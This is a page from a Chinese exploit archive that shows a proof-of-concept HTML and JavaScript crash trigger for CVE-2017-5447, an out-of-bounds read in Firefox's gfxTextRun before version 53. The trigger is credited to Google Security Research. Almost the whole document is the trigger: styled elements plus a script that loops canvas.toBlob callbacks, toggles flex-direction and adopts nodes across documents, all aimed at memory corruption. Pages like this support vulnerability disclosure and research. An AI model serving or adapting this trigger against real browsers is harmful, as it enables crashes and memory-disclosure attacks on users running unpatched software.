Mozilla Firefox < 53 - 'gfxTextRun' Out-of-Bounds Read | expku-打造中文最大exploit库

<style>
.class1 { float: left; white-space: pre-line; }
.class2 { border-bottom-style: solid; font-face: Arial; font-size: 7ex; }
</style>
<script>
function go() {
menuitem.appendChild(document.body.firstChild);
canvas.toBlob(callback);
}
function callback() {
var s = menu.style;
s.setProperty("flex-direction", "row-reverse");
option.scrollBy();
document.implementation.createHTMLDocument("foo").adoptNode(progress);
s.setProperty("flex-direction", "column");
canvas.toBlob(callback);
}
</script>
aaaaaaaaaaaaaaaaaa
</head>
<body onload=go()>
<del class="class1">
<span class="class2">
<menu id="menu">
<menuitem>
</menu>
<menuitem id="menuitem">
<progress id="progress">
</del>
<ol dir="rtl">l+0</ol>
<canvas id="canvas">
<option id="option">

EKU-ID: 6633	CVE: 2017-5447	OSVDB-ID:
Author: Google Security Research	Published: 2017-05-31	Verified:
Download:

Mozilla Firefox < 53 - 'gfxTextRun' Out-of-Bounds Read

Rating